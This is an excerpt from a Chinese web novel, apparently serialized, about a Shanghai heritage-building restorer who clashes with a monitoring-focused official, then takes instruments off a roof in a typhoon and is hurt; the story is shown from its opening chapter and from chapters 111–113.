就连他们的话术都在与时俱进,陆砚好几次信以为真。 转角来到武康大楼前,穿旗袍的老太太在擦拭石库门铜环,她的绒布拂过门钉的节奏,恰好撞上印象中师父熬骨胶时搅动陶罐的韵律。 ‘回到过去’的钥匙就藏在日复一日的琐碎中。 原来时间才是最顶尖的匠人! 把执念磨成包浆,把抗争熬成妥协! 无边的压抑化为沉郁的孤独在汹涌人群里精准命中他,他有好多话想说,却不知从何谈起。 “帅哥,拼个桌伐?”雾霾蓝发色的女孩从露天咖啡座探出身,手机壳上的玲娜贝儿挂件晃得人眼花,“侬是小红书刷到阿拉的街头采访伐?” 她贴着碎钻甲片的手指向镜头,“观众老爷们投票说侬像那个......那个''在逃工地王子''!” 陆砚愣神的功夫,她同伴已把自拍杆怼过来:“哥哥缺女朋友伐?阿拉闺蜜刚恢复单身,年薪五十万起跳!” 镜头掠过他的下颌线,工装领口松开的纽扣在夕阳里泛着铜色。 “勿好意思,等宁。”他用上海话搪塞,抓起工具箱往襄阳北路走。 身后飘来女孩们的嬉笑:“册那,高冷款更戳G点!” 陆砚汗颜,伤感也被这一幕赶走。 果然女人是生活的风向标,这话没错。 想到自己今年年底就满28岁却还孑然一身,饶是坚定的保守派也不免会有激进的想法...... 要不退回去要个微信?就当给直播间的老哥们整点节目效果了。 ...... ‘破吉他’音乐酒吧门帘上的歇山顶手绘图褪成了鸭蛋青色。 七八张方桌只坐了零散几人,木质桌椅和暖黄吊灯在这片空间撞出温和的氛围。 “阿乐,再调一杯威士忌。” 阿乐是这家酒吧的调酒兼老板,一提到他就想到不那么亮堂的灯光和身后堆放的四台银质精酿发酵桶。 名字乍听像个毛头小子,其实人家想走的是余文乐路线。 陈禹的戒指在吧台敲出脆响:“我去看过了,杨博士那封条贴得真叫个密不透风。” “嗯。” “要我说,这项目干脆......” “你又能说上话了?”阿乐拧着两个装满精酿的火焰杯,火速插入话题,“这才喝到哪啊!” 原说吧台调酒应当是倾听者和情绪价值提供者才更利于生意和口碑经营,但这套不适用熟客。 相识一年多,俩人早在前三个月就把阿乐所有的耐心和温柔吃得一干二净,尤其是陆砚刚分手那阵子...... 直到现在都记得他的床是如何被那个男人蹂躏的! “哥们明明点的是威士忌啊。” “桶底最后的精华,不给你俩喝可惜了。” “只要不是卖不出去、专门丢这里销货就成。”陆砚不挑,反正来这里有酒往肚里灌就行。 总不能喝到假酒吧? 站在一边,阿乐敏锐察觉哥俩今天有事要聊,赶紧给自己端杯酒赖这桌不走了。 嗯,调酒师果然善于倾听。 陆砚接着未说完的话题接着聊:“项目是老杨头亲自交代给我的,这么多年就一次。” 对外他是同济古建工程杨老师、杨泰斗的关门弟子,实则工作上的事除开刚入行那两年,师徒很少交流。 主要杨启文没兴趣,其次陆砚也抹不开面。 难不成三天两头就喊‘老师、菜菜、捞捞’? 都是专业人士,谁还不好点小面? “哎呀,这不是做不成了嘛......那不然你们就按文保局的方案做呗!” “还记不记得,你大三偷拿我斗拱图纸参赛时,”陆砚用烧鸟签戳着桌面木纹,“评委那句''匠气过重'',现在倒成褒义词了。” 竹签自然没有在桌面留下划痕,也是直到今天他才相信,人脆弱起来竟会和竹签共情。 他对杨灵道过歉、鞠过躬,笑过、恼过、质问过,但是对方无动于衷,冷漠得像个杀手。 那个女人,猜不透、搞不懂,也搞不定。 有的事情就是折断了腰,也不会有半分改变! 三人碰杯。 “她那套监测系统,比你开发的仿古瓷砖还弄巧成拙。” 陈禹的笑声卡在喉咙变成咳嗽,仿古瓷砖是他事业的第一桶金,虽然华而不实且涉嫌夸大宣传,但利润高啊! 不清楚他葫芦里到底卖的什么药,陈禹和阿乐单独碰了个,俩人相视一笑。 絮絮叨叨聊了大学往事,当时陆砚是个‘呆子’,不娱乐不恋爱只搞专业,上课、实操作业、寝室三点一线。 奈何点到点之间需要用腿来填补距离,过程中班级事务、社团活动产生的各种交际搞得他烦不甚烦,于是就拿陈禹的微信挡箭,阴差阳错成就了他如今的婚姻。 事后得知真相,陈禹郁闷了好一阵,这是俩人头一次吵红脸。 “咚!” 不一会阿峰又自掏腰包送了两杯啤酒,拇指无意识摩挲杯壁冷凝水,直到听见陈禹说:“上周南京聚会,林晚声有问起你.....” 林晚声是谁? 噢,是晚声,现在只能喊林晚声了。 一张明媚的脸闯进了微微酒醉的大脑,在心底名为‘思念’的种子被这春风一吹又有复生的迹象。 分手一年了,怎么最近全是她! 陆砚想走了,阿乐也预料到陆砚要走了,没有人比他更懂这个话题之于陆砚的禁忌性。 那是一段悲伤的往事,堪称从业以来的滑铁卢...... “先走了——” 反正有阿乐陪着在,倒也不至于冷落了那位哪壶不开提哪壶的好兄弟。 要说冷落,过去的回忆碎片就像玻璃渣子烂在肉里,提起她心就颤! 外套掀过门帘上的歇山顶图样,留下陈禹一人独坐在吧台边,冰球在威士忌杯里浮沉,折射他嘴边无奈的笑。 ...... 南京西路的霓虹在云层洇出紫红斑块,像块旧时的伤疤。 初恋女友多是男人心中的刺,直到现在他都记得,初见一身白裙的她抱着吉他在‘小酒馆’唱歌。 当时心脏酥酥麻麻的。 之后陆砚常去小酒馆捧场,酒量就是那个时候变好的。 而且永远要迟些离开。 缘分往往从一声简单的‘你好’开始,那时候他们会说说话,聊的都是理想彼岸和天上星空。 只是两人最终走向分手,那天她笑道,‘不要把这根拖把弄丢了,也不准用水洗,那上面有我种的蘑菇’。 这便是‘林式’幽默。 据说这年全国到处跑,创作圈有闯了些名气,还准备发专辑。 没想到白驹过隙,听陈禹只言片语,她似乎快回上海了。 彼时又该如何待尔? 以微笑?以眼泪? 命运让两人在最美的年华互相看对了眼,却让他们败倒在严峻现实之下。 为什么世界那么复杂而人偏偏追求简单,为什么明明相爱的两人要以悲剧收尾? 为什么人间有月亮?为什么四季要歌唱? 手机震醒休眠屏,洒水车正哼着《茉莉花》驶过,水雾在路灯下织了道转瞬即逝的光晕。 “明早九点来局里,”师父的声音一向精神,“带上骨胶和配方。” 局自然是跟老杨头关系深厚的住建局,骨胶配方则是陆砚自己的独家配方。 假使不是上学时候被老杨头挑中,他高低会凭着骨胶配方那篇论文以及专利,去申请读个研也说不准。 “瓦当藏星,飞檐挂月——别让乡愁失去栖身的屋檐!” 电话挂断那刻,转角广告屏亮起一则古建保护宣传片,镜头画面不足以呈现她的气质,但看上去不输任何一位靠脸吃饭的明星。 杨灵站在他才修复好的门廊下说‘让历史呼吸’,监测仪蓝光在身后明灭,像暗夜里的萤火虫。 呵呵...... 第一章 怕什么来什么 提前到场不该只应用于约会。 晨光漫过住建局的金字招牌,陆砚咬着粢饭团蹲在石狮子旁。 油条碎屑掉在工具箱上,他刚伸手去掸,轮胎摩擦声刺破晨雾——樱花粉的保时捷Taycan刹在台阶前,车窗降下露出一张清冷的脸。 这是第一次看到开车的杨灵,他瞬间便意识到两者间的阶级鸿沟。 “杨博士早啊,”陆砚咽下糯米站起身,“今天美丽依旧。” 不要钱的漂亮话只管说,万一有用呢? 哦,你说昨天刚吵架的事啊,成年人可以搁置。 杨灵推门下车,珍珠白高跟鞋碾过片梧桐叶:“陆师傅改行当门童了?住建局九点才办公。”深灰色西装裙剪裁利落,耳垂上两颗Akoya珍珠纹丝不动。 显然,读书人并不是一两句便宜话就哄得好的,你敢摔门而去,今天就别想见到一张好脸! “这不专程候着了嘛,”陆砚用袖口蹭掉嘴角糖粒,继续发挥娱乐精神,“怕您的检测仪找不着大门嘞。” AUV,就是一个地道! 她摘下墨镜别在领口,镜腿刻着的‘LY’银标在晨光里一闪,果断开口反击。 “导航定位精度在0.5米内,倒是陆师傅的施工误差率值得担心。” 好像每次和这个女人在一块就要斗嘴,偏偏陆砚心软,到后面自然就甘拜下风。 话说回来也是奇了怪哉,为什么杨灵句句都有回应呢?难不成对方也和他一样乐观上进、具有高尚的品质? 他决定再试试—— “要不给您配把老洋房钥匙?省得天天贴封条。” 说着,他摸出铜钥匙晃了晃,仿佛拿着一块诱人的奶酪。 杨灵似笑非笑,抿住嘴唇道,“等危房鉴定通过,嗯,钥匙自然会挂在文保局公示栏。” 一辆雷克萨斯此时滑入车位,杨启文拄着磨出包浆的黄花梨手杖下车,藏青色中山装袖口泛白,布鞋沾着木屑,毫无排场可言。 李主任一道从车上下来,微微颔首:“杨老,我们来得正好。”他瞥了眼腕表,“局里安排了二号会议室。” “进去说。”老人抬手往里走。 陆砚和杨灵跟后头,秘书带领下一行人在办公大楼内顺畅穿行。 平均每年他来这跑十几趟,见到主任这个级别的领导是头一回。 这个项目含金量变得这么高了吗? 会议室檀香混着油墨味,几人落座,座前有茶水。 李主任将检测报告推至长桌中央,不锈钢保温杯磕出脆响。 陆砚盯着他腕间泛光的万宝龙手表,暗忖这位冷面判官到底站在哪边—— 对方坐上座,用钢笔敲了敲检测报告:“五天,最好能看到所有结构数据。”抬眼,目光扫过杨灵,“文保局的设备要快点进场。” 开口先为这次讨论定下基调。 杨灵点头,于是会议即在‘五天内排除危房可能’的共识上顺利展开。 窗外突然‘咚’地轻响,麻雀撞在防爆玻璃上,扑棱着跌进紫藤花架。 “只是,关于施工方案,需要我这边主导。”杨灵说。 不用杨启文抬眼,陆砚自然把旗帜立起来,摆开擂台:“杨博士,敢问我们的方案是哪里不符合文保局的要求呢? “传统鱼鳔胶的固化时间比环氧树脂慢47%,”杨灵调出平板数据,“但抗老化系数...” “但能养出包浆。”他争抢话语主动权,“传统骨胶的湿度适应度更高,您那些仪器测得出木纹的湿度吗?去年外滩18号就是...” “去年外滩18号因湿度失控滋生霉菌,维修费超预算两百万。”杨灵冷声截断:“我的传感器能在霉变前182小时预警。” 两人都意识到展开方式不对,但话赶话,彼此都不想让步。 “按这标准,‘应县木塔’早该装电梯!过去老匠人舔木辨湿度的本事,你们传感器学得会吗?” 杨灵‘啪’地合上平板:“陆师傅,口水检测通不过卫生许可。” 她起身时Akoya珍珠撞在话筒上,蜂鸣声惊飞窗外麻雀。 “好了!”杨启文及时喝止住两人,“是讨论不是吵架,你们要合作,还要共赢,先静下来好好想想再说话!” 您看她这是要合作的样子嘛! 李主任挥了下手,让助理给众人添茶,茶香中,陆砚也在反思。 怎么一遇到杨灵就控制不住自己?她是人形春药? 还有,话题一开始就被带跑偏了,不管传统鱼鳔胶的效果如何,它都没有违规吧! 隐约感觉到......这个女人是故意把他带偏的。 “小陆经验更丰富,说说,你做了哪些类似项目让大伙了解了解。”李主任另起一头,重新引导会议。 随即,陆砚便捡了有参考意义的项目做介绍。 从静安别墅的民国木窗到青浦宗祠的青石墙,再到老洋房隔壁的石库门修缮,将其中可以嫁接过来的经验娓娓道来。 项目讲完,杨启文又从帆布袋掏出陶罐,十年陈皮般的香气漫开:“小陆改良的骨胶,还不错,” 他抹了胶体在胡桃木桌沿,琥珀色胶质缓慢渗入纹理,抬头冲杨灵笑出满脸褶子:“丫头你闻闻,无公害的东西可比化学胶水舒坦。” 会议室短暂沉寂。 这套组合技下来,局势似有明朗的前兆。 但杨灵一点也没有孤立无援的感觉,调出平板数据:“去年苏州河老仓房使用传统胶体后,三个月内出现不同程度破损。” 陆砚眉头一挑,这项目在业内如雷贯耳,沉声回应,“可那仓房撑过了台风‘烟花’!” 没有给她继续发难的机会,立马反攻: “杨灵女士,从刚才我就想问你了,且不论效果如何,我们的方案是哪里不符合规定了,不妨明确指出来!” “守旧技术加上冗余施工势必会影响文物建筑寿命,这一点,陆师傅认不认。” 所以哪里不符合规定了?你要建筑寿命,那咱们用混凝土浇筑起来好不啦? 陆砚一口老血恨不得吐对方脸上,他非常想告诉对方这不是小朋友掐架,大可不必句句都要分个胜负! “折中方案未尝不可。”李主任突然开口,“传统工艺结合智能监测,既保安全又留文脉。” 他瞥向杨启文。 两个老茶缸抬起,碰撞的脆响,泄露了二十年交情。 明眼人都知道,都到碰杯这步了,哪里还能说‘不’字。 场上局面了然,李主任显然和老杨头早就达成了共识,而自己这边自然不用说。 今天这场会就等于是专门给杨灵开的。 想到她不过和自己一样的年纪,当真是前途不可限量......某人突然有些酸了。 “骨胶我先带走,后面还需要重新评估风险。”说罢毫不犹豫地离席。 没曾想事情还有转折——杨灵竟是谁的面子都没给! 空旷的走廊响起步调分明的高更鞋回声,还有秘书送客引路的问候。 陆砚哑然,也释然——杨灵查封现场绝对不是蓄意报复他。 这是真勇,她是真·愣头青! 什么00后整顿职场都是图一乐呵,真整顿还得看我海归大小姐出手! 问就是水土不服! 陆砚突然乐了,胸中块垒随她的离开散去大半。 “臭小子。”跟李主任寒暄完,杨启文用满是老茧的手掌拍他后背,“我当徒弟那会,挨骂比吃饭还勤。” 得,这究竟是安慰还是提前打预防针呢?印象里,从出了校园以后,老杨头基本上没骂过他了。 老杨头是陆砚的大学老师,现在的嫡亲师父,将来自己要给他养老送终的那种传统关系,骂当然骂得。 老人从中山装内袋摸出油纸包,竟是陆砚以前常吃的蟹壳黄,“跟犟驴较劲,得顺着毛捋。” 陆砚点点头,默认了杨灵就是那头倔驴。 ...... 暮色吞没最后半片天光,游荡一天的陆砚蹲在小区楼下,手机放着文旅局最新的短视频: 杨灵抚过雕花门框的指尖,正停在他修补过的雀替处。 她的骨相藏着东方美学的克制,肩颈线像青瓷瓶的弧线。 上次在街上看到大屏投放的宣传片以后,他就关注着,谁能想到这样一个富有书卷气的女人上午还在和他争论不休呢。 陆砚笑了笑,电话里,老杨头让他‘收拾东西搬进去几天,领着人把数据测了’。 第一百一十一章 上房揭瓦 张野的呼噜依旧嘹亮。 但不知何时,外面的白噪音压了下固定频率的锯木声。 陆砚再次检查手机音量,仍不放心。 在平板上也设置一排闹钟后,才渐渐睡去。 梦里依稀记得魂穿到‘老人与海’的世界。 脚下是波涛翻涌的广袤大海,船上系着大马林鱼尸骸,他与鲨鱼搏斗到精疲力尽,躺在船上,注视星空。 这是一种印象深刻的感觉: 大海是大海,大马林鱼是大马林鱼,无人为其定义,生命自由自在...... 直到看见头顶的星星,规律而有序地闪着蓝光,就像...... 监视器! 惊醒的瞬间脑袋像被扎了根针,他猛地坐起来。 平板打开,上一个十分钟的屋顶数据仍在稳定更新,仿佛杨博士的名誉为其背书,令人放心。 但即使仪器质量够硬,也要有牢固的地基固定啊! 陆砚不放心的是自己。 他敢笃定,杨灵没有想到,这次老洋房的屋顶没那么平稳。 时间凌晨一点十三分,关掉闹钟,换了身衣服去找张野。 穿过覆满防护罩的大厅,风从门缝贯了出来,吹得布片簌簌作响。 头脑冷静几分。 房门口思来想去,还是觉得要试试。 两台,就要好几万......把东西拿下来最保险。 “咚咚!” 例行敲了敲门,便推门进去。 他们睡的是主卧室,破旧程度更甚。 本该是旧樟木和上潮以后充斥霉味的房间,此刻被酒味完全压下去。 两张行军床一左一右靠在墙边,陆砚手机灯就近照向一人。 “张野,张哥,醒醒!” 上手推了推,连对面的冯小军都醒了,这边鼾声依旧。 ...... 九点三十五,手机没消息。 杨灵慌了神,就要出去。 顾南乔一遍遍劝说,分析雨声之下,对方听不到手机铃声的可能。 最后把‘老洋房可能电路损坏,没地方充电导致电话未接通’也考虑进来,才把人留住。 如今,她攥着手机望窗外,或低着头来回无意义走动。 看那心急的模样,顾南乔有理由认为,‘下次台风天,陆师傅大概率出不去了’。 而另一头,苏棠接到杨灵的拜托以后,便一个劲在群里发消息。 年轻人是这样的,不到生死关头不会贸然打电话。 十几分钟后,没反应。 内心才在反复斗争中,打起了冯小军的电话——毕竟同龄人,负担小。 没通...... 又打张野的电话,也没通。 再试一遍陆师傅的电话...... 坏了! 没想到这辈子这能遇到如此紧急的情况,三个本该在一起的人、三通电话全没反应! 她的脑子向来不擅长处理瞬时问题。 聊天框点开、划走、又点开,用忙乱的举动麻痹自己的不淡定的心。 报警? 不不不,失踪时间没到,这个天气出警也不方便...... 自己家离得近,可以先去看看! 赶紧找到袜子准备离开温暖的家,可穿到一半看见外面的路面,又脱了打算穿拖鞋出去。 站在楼道门口,十度冷风带走大量体温,她决定最后打一次冯小军的电话...... 结果是失望的。 小姑娘心一横,撑着伞就闯入了雨幕。 ...... 凌晨一点二十。 张野断片了,还好有冯小军。 陆砚和他换上雨衣,心里在盘算该怎么拆,用哪些工具拆。 “小军哥,不恐高吧?到时候在一边帮我打灯就行。” “......不恐高,没问题。” 冯小军觉得,‘死过一次’的人,已经没有什么可以再恐惧了,遂坚定应下来。 地板上映着两个身形臃肿的影子,无人打扰的静谧下,十分有患难气氛。 “工具拿着,一会递给我。” 接过工具箱子,拿在手里‘哐当’响动。 两人沿木质扶梯来到顶楼。 推开‘嘎吱’的木门,原来黑暗是潮湿上霉的味道。 冯小军打开手电筒,于是便有了光,光越过陆师傅,照见角落里堆着修缮用的瓦片和水泥袋。 “......这是,手机手电筒?” 陆砚被眼前‘虚弱’的视野搞得不自信了。 要知道,此刻阁楼的老虎窗被风吹得来回撞着门框,‘咚咚’的闷响,活像有人在上面拼命敲门。 没有声势浩大的队伍和分量足够的霰弹枪就算了,没有照明还怎么打? “稍等,可以调大。” “...” 实习生不专业的举动戳中了他的语音小喇叭,被沉默以后,笑意偶尔会浮现。 不由想到,假是苏棠在场,肯定要严厉批评道—— 我辛辛苦苦采买的夜间手电筒,你是看不见吗! 但调大以后,光线确实亮了不少,遥遥领先的手机,就是牛。 两人往前走着,一步踩来一声地板闷响,像有人吃着薯片。 到木头步梯前,可以看到通往屋顶的活页板门,门轴锈成暗红色; 门沿的缝隙渗了大片水渍,顺台阶往下漫,朽坏的木头有发泡的迹象。 “一会打灯注意对着仪器固定的地方,然后把工具递给我,不用慌的。” 陆砚站在最顶上那级台阶,最后叮嘱到。 见冯小军点头,才果断把门拉开。 “咔哒!” “呼——” 卡扣打开的瞬间,整扇门就被风顶得往后弹,带着咸腥的水气往肺里灌。 视线被一片茫茫雨幕填满。 下一刻,冯小军‘强劲’的手电筒打光,近况才能够可见。 雨不是往下落的,是横着扫的。 瓦片乍看像被打翻的棋盘,照近以后,实则依然规整铺在屋面。 天沟里,如柱的积水往下排。 屋顶像光明顶决战的台面,是座四周被斜檐环抱的方台,方台边缘隐约闪着幽蓝的光。 陆砚看到检测器在相对平整的地方时,松了口气。 靠近难度如同端一碗七分满的汤——若是有十分之一的遇险几率,都会放弃拆除动作。 面部已经适应环境的转变,行动! 此刻,即使在‘平地’走,也要踩在每块瓦片的‘瓦当’处,那是瓦片最厚实的部分。 冯小军亦步亦趋踩着陆砚的脚印。 每走一步,都能听见脚下木架发出‘咯吱’的呻吟,小胖子觉得,那像不堪重负的叹息。 他鼓足了勇气,勇气也确实充斥胸膛,腿却不听使唤打颤。 好在风小了些,距离也不远,陆师傅已经蹲下指示打光位置了。 隔着雨幕,能听见在说‘对准咯,工具包给我’。 他蹲下,打着光,顺利完成了交接任务。 而光线靠近的时候陆砚傻了眼。 三角型螺栓,特殊型号加固! 心里嘀咕好久的拆除师傅,万万没想到是如此困难的拆除局面。 用平口起子卡着角度试了试...... 很紧。 第一百一十二章 话传话 苏棠的半边衣服在雨里怀念着不久前的体温。 如今,冰冷如附骨之疽,借由它,缠上了年轻的躯体。 风急地滑的时候不敢骑电动车,平时步行二十分钟的路程,如今加了倍。 她顶着伞往前进,一边着急,一边隐隐有预感——应该不会有事。 应是和朝夕相伴的手机有暝暝感应,低头看了一眼,正巧瞄到张野的电话。 “张师傅!怎么才回电话呀!” 抱怨声音更接近亲切地问候。 “什么?” 那边信号不好,说话有点听不清。 “你说什么?大声一点好不啦!” 而在医院走道四处找人的张野,重复了好几次,发现对面也无法听明白。 于是挑重点说: “在医院,速来!” ...... 在屋顶,时间拖久了不是件好事,更何况雨水打湿后,螺帽口异常的滑。 陆砚当即用平口起子当啤酒撬子,一块瓦一块瓦掀开...... 顾不得漏水了,待会看有没有机会复原,或者下去后拿个盆接住就行。 很快第一台就拆下来。 在去第二台仪器的路上,苔藓湿滑让冯小军跌了一跤。 闷声侧滑在地。 小胖子当即魂都飞了,也把陆砚惊得不浅。 而这个过程中,人没事,手机是真的飞了。 失去灯光以后,湿润的夜色彻底占据视角。 “小军,你把仪器抱着,去下面等我。” 冯小军的血性在生死之间还远远不够,诺诺答应,半蹲着回去。 陆砚掏出了自己的遥遥领先为其打灯,看到黑影缓缓出现门框附近,确认实习生安全抵达,才接着前行。 一会风势变大,便压低身形,同时心里也开始打鼓; 一会势头变小,强压着颤抖的手,一块块掀开瓦片。 心理因素会使得行动效率下降,却不至于让十拿九稳的事情变得漏洞百出。 待回到木门背后时,安心的感觉就像‘坠楼触地的上一秒,陡然发现是蹦极’,那般舒爽。 看着蹲地上的冯小军,老师傅适时表示关心: “摔哪了?手机丢了没事,算工作牺牲。” 他右手抱着二十斤左右的仪器,左手拿手机,踩着‘咯吱’的台阶。 接着酝酿调侃,小小的意外就此发生—— “咔擦!” 不知历经多少岁月、见证了几代人的老木头,在短暂的几天内,发出无数‘咯吱’警告后,还是断裂了。 当时时间过去了0.01秒,腾空的双脚诡异定在空中,他仿佛意识到什么。 如果今生今世仅有三次时光倒流的机会他会毫不犹豫选择今天,如果硬要说一个确切的节点他会毫不犹豫选择下一秒—— “咕噜噜!” “哐当!” 身体失衡、被迫翻滚过程中,没有忘记‘涉险’目的——紧紧抱着仪器。 直到倒地那刻,结算画面才缓缓升起: 手机飞了出去,可是对比小胖子的手机,是不幸中的幸运; 人摔了一跤,可是对比小胖子摔的那跤,是不幸中的不幸。 “陆哥,没事吧?” “......小事。” 大概肩膀骨头错位,膝盖磕了一下。 对硬汉来说,三五天复原的程度。 而后一阵鸡飞狗跳,冯小军才把惺忪着眼睛的张野喊过来。 三人静了静,觉得反正没事做,就叫个救护车吧。 临了上车,张野说什么都要跟上去,理由是‘那孩子医院压根没去过机会,到时候比你还懵’。 遂留了冯小军一个人守房子。 走的时候嘱咐着,‘有事打电话’,就坐车驶入雨幕...... ...... “杨老师,不好啦!陆师傅在医院,张师傅让我们,让我们抓紧时间过去!” ‘嗡’的一下,血液直冲大脑,杨灵眼前眩晕就要站不住。 “怎么了灵灵!” 顾南乔扶住问其情况。 印象中,只见过一次,对方的脸如此煞白。 不详的预感缓缓升起,不可思议的真相就要浮出水面。 如果说上一个不可思议是知道自家负债即将破产的时候、如果两个‘不可思议’可以有一个幸免于难的话,她选一千次也是此时此刻。 “灵灵,你说话呀!” 然而对方一声不吭,双目空洞失神。 像缩着的刺猬、把头埋进土的鸵鸟,只要不面对,就可以回避现实。 顾南乔看不得这样的画面,也不接受如今的‘现实’。 可杨灵...... 是......真的吗...... 枪声响起,心跳漏了一拍。 多少个午夜梦回,他们相遇在淮海路的便利店,梦里再没有帮闺蜜打圆场,而是自顾自两人聊天; 那个一见钟情的男人依然帮忙赶走了建材老板,带着去‘破吉他’,专门为她一人唱歌; 他们抓着手在静安别墅、起着微风的梧桐大道上跳舞,亲吻; 被人堵到家门口要债时,义无反顾带她离开,私奔去到天边尽头...... 原以为平息的情感,只是被某种规训压抑着,直到彻底失去才晓得追悔莫及。 她粗鲁晃动杨灵的肩膀,然而始终唤不来回应。 只有淌泪的眼睛,写着哀伤与无助。 顾南乔对这双眼睛痛恨到了极点,抢过手里的电话便再度打了过去。 “到底什么情况,你说清楚!” 全然没有以前的说话习惯,声音尖锐得连自己都陌生。 “张师傅让我们快来......说得很急。” “......很、急?” 一瞬间,她的心脏被重新注入了一管血液,开始恢复频率跳动。 这个过程足足有六七秒之久,新鲜空气的味道再次变得甘甜。 “把,张师傅的电话发过来。” 为了怕对面长着水母脑子的愚蠢女人搞不清楚怎么做,她说:“就发到杨灵的微信上。” ...... 不是吧?数个‘一二一’的事,他们给我报了个奥数班? 陆砚在车上先架了个绷带,然后坐轮椅上被推着上下楼来回跑了七八趟。 CT拍片、抽血、甚至把脑子都查了一遍。 不是骨科吗? 直到做核磁共振的时候才意识到不对劲...... 医院过于谨慎乃至有点宰客的感觉了。 难道是半夜因为小伤喊救护车跑一趟、被温柔报复了? “我要见主治医师。” “您还没办理住院,没有主治医师。”年轻护士推着他说。 “我要见为我诊断的医生。” “等等,你刚才是要见主治医师是吗?” “是。” 护士甜甜一笑,说早上会安排跟主治医师见面的。 百无聊赖的检查中,陆砚发现他和张野失去了联系...... 因为摔的时候手机掉了。 另一边,老洋房刚刚送走救护车。 冯小军也发现,他和外界失去了联系,因为摔的时候把手机掉了。 可是又有什么所谓呢? 老洋房大厅有座钟,天亮了会天亮,还有陆师傅答应的新手机,嘿嘿! “轰隆隆!哗啦!” 闪电和雷鸣也表示同意捏! 他关上大门,凑近看了看时间,两点四十。 恩,还够睡一觉。 第一百一十三章 灵机一动 九点四十五分,两女准备出门,前往陆砚所在的医院。 在这二十分钟里,顾南乔狠狠骂了一遍那个叫苏棠的小丫头,以及...... “杨灵,你换衣服是这么换的?都说了没大事,能不能争气点!” 她缩了缩脖子,才发现包包下面,依然是睡衣。 “一天到晚就晓得哭,眼泪水收收啦!” 再没有以前的好言好语,说着,把人往房里推,专门在衣柜拿了身严实的衣服递过去。 此时两人目光恰好相撞。 明明在自己家,她却仿佛是只被收留的三花猫,眼里流露着不安。 现况是,极有可能没事了,它依然不肯相信。 “乔乔。” 自觉走向最信任的人面前,躲在怀里寻求温暖。 顾南乔拍着她的背,耐心安抚。 这一刻,彻底理解了,为什么男人会变心、会不耐烦。 宠物即使再可爱,也不能时刻缠着人吧? 何况她也烦着呢! “就是个小伤,以后胡思乱想前先弄清楚情况,好不啦?” 真是好笑。 如今家庭破产在即、父亲下落不明,连工作也暂时没戏了,却要留出心力照顾别人。 感觉到肩上的脑袋还在抽抽,最后一丝耐心也用干净了。 伸手推开,说: “换衣服,我们去看看究竟哪么个扭伤,连接电话都接不了!” “......好。” 杨灵脱衣服的时候,她就在旁边。 有个声音大声呼喊到,搬出去、快搬出去! 闺蜜什么的,一个星期见一次就够了,人生何须那么多挂念,怎么痛快怎么来! “乔乔,我们走吧。” “恩......外面积水深,开我的车。” “好。” ...... 突然,夜里细微的响动把冯小军吵醒。 起先略带警觉细听了会,听不出什么便又睡了。 三点半。 雨点撞在窗户上发出‘碰哒、碰哒’的声音,频率非常快,吵得睡不着。 睡不着多痛苦呀,索性起来,转移注意力。 披好衣裳,摸黑在地板上找鞋子,感觉地板有点潮。 待走到客厅把半死不活的小夜灯打开,他甚至用鼻子都能嗅到,空气湿度很大。 莫非已经入了门,像老师傅一样敏感了? 谨慎点为好。 按照之前看到的,去大厅翻找测量空气湿度的仪器。 同时根据华罗庚烧水原理:烧水的时候可以洗茶具的同时顺便削一个苹果。 他又用电阻式插到木构件测其含水率。 是逢三测一,还是逢五测一? 无妨,先测一个再说。 等待的过程没闲着,一通翻找,终于在看起来像杂物堆的地方找到了手电筒。 有了手电筒,老洋房就像回自己家一样顺畅通行。 原地想了想,朴素的生活常识让他先去陆师傅房间,看看天亮以后有没有什么可以帮忙拿过去的。 越过一个多月以来,众人吃饭的桌子。 踢开张师傅昨晚喝空的易拉罐,穿过大厅、偏左的廊道第一间,木门背后就是陆师傅的房间了。 手电筒还没打上去,就看见一块亮着的平板。 他大喜过望。 如果一切顺利,那岂不是有空来一把原神? 可惜不知道密码。 最诡异的是,屏幕上分明有百分之六十电量,却弹出了警报页面。 牌子货就是谨慎。 没管,接着转悠。 物品一样样扫过,哟,杨督查送的围巾。 不久前陆师傅还炫耀过,说上面的''LY''是他名字缩写。 可苏棠却说是误会,分明是''YL''的缩写,而且哪有男人戴浅棕色围巾的...... 把东西拿好,再回到大厅,含水率也出了结果: 17% 呼,虚惊一场。 虽然数值有点高,但无妨。 那么接着睡。 ...... 路上,烦躁的心收了收。 想到自己情绪不好的时候,杨灵只要察觉,也会耐心陪着。 况且陆砚没有真的出事,都是那个二十多岁还连话都不会好好说的绿茶乱嚼舌根。 还有就是...... “灵灵,我爸爸刚给我发消息了。” “叔叔说什么了?” “他说问题差不多解决了。一周后,领导班子会开债权人会议,免除部分债务、还有还款时间会宽松很多......最重要的是,上面给予资产重组和产业升级的援助......我爸爸接着做生意,努力还款。” 想着,果然老顾还是有几分实力的,远比最坏情况好多了。 她在灰色的天空下笑了笑。 想到......债权人解决后,也该搬出去了。 终于可以有自己的空间了。 “太好了,这下你和叔叔都能......开心睡个好觉了。” “瞧你那弱不禁风的模样,啦啦队都轮不上你......老顾这回打了眼,也该消停了,为我高兴就行。” “都高兴。” 副驾驶一大早哭了好几道、又被骂了好几遍的那位小声坚持着。 顾明远叔叔,对她们家的恩情,不比乔乔对她的少...... 初中的时候,后座的黑人小孩一直欺负她。 后面顾南乔来了。 第一次见面,杨灵对这个同学印象极好,因为对方十分漂亮。 而且据说也是上海来的,自然亲切。 便心甘情愿把零食上供出去。 两个上海老乡......这一幕被传开,黑人小孩再也不敢找过来。 意外的结果让她高兴好久。 此后每天带很多吃的,期待顾南乔过来要,过程中两人可以用中文说话。 尽管只有一个照面的功夫,可会给她极大的庇护...... 高中,杨灵还是很害怕那些外国孩子。 尤其是有纹身的有色人种,和身上有‘叶子’味的公子哥们。 家里的教育,和美国社会主流文化很不一样。 她的相信父亲,也深深喜欢自己的文化。 所以容纳不进班级。 每天依然有同学绕着她,他们讲着难以理解的俚语、黑话,一开口杨灵就害怕。 好在又遇到了顾南乔。 那时候举行夏令营,两人同为亚裔,便分配同组,同一房间。 晚上睡觉的时候,她们聊了很久,有很多相似的看法。 最重要的是,文化塑造的三观一致。 第一天,顾南乔教她上海话和当地骂人的话,带她喝酒。 一点点就醉了。 第二天,两人睡一个床被别人看到,留言四起,说在谈恋爱。 杨灵不介意。 顾南乔为了庇护她,默认了。 ......男朋友的梗,是只有她们两个知道的秘密。 此后成了最好的朋友,顾南乔常常把她喊到家里玩。 大大的别墅、三四个亚裔阿姨。 每个星期六,顾明远会回来,那时候父女俩要谈心好久。 杨灵就安安静静在房间看动物世界。 有一次,闺蜜谈完出来,拉着她的手说,要两家人一起吃个饭。 